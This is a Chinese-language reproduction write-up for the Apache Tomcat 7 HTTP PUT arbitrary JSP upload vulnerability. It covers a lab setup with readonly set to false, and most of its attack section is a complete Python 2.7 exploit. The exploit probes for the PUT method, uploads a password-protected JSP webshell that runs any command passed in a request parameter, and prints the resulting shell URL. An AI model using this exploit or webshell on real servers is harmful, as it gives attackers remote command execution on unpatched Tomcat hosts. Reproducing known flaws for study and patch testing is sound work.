漏洞描述:
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法,攻击者将有可能向服务器上传恶意的 JSP 文件,并得到解析。
漏洞范围:
Apache Tomcat 7.0.0 - 7.0.81
漏洞复现:
这里下载Tomcat-7.0.70,配置Tomcat服务器
在Tomcat7.0版本默认配置是开启readonly的,需要手动配置readonly为false才可以进行漏洞利用。
在D:\apache-tomcat-7.0.70\conf\web.xml进行添加
<init-param>
<param-name>readonly</param-name>
<param-value>false<param-value>
</init-param>
保存后重启tomcat。。
在tomcat默认配置的情况下,返回403禁止。
当修改配置后。
构造jsp一句话木马,返回http的201状态码。
该文件被成功写进。。
访问123.jsp的shell文件。
也可以使用python语言exp进行攻击。
该shell文件被成功写进。
python源码为:
#coding:utf-8
#python2.7
import httplib
import sys
import time
def attack():
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println(""+excuteCmd(request.getParameter("cmd"))+"");}else{out.println(":-)");}%>''' conn=httplib.HTTPConnection(sys.argv[1])
res=conn.request("OPTIONS","/docs/")
headers = dict(conn.getresponse().getheaders())
print headers
if 'allow' in headers and headers['allow'].find('PUT')>0:
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
conn.request(method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status==201:
print 'shell:', 'http://'+sys.argv[1]+url
elif res.status==204:
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
attack()
附加一图:
参考资料: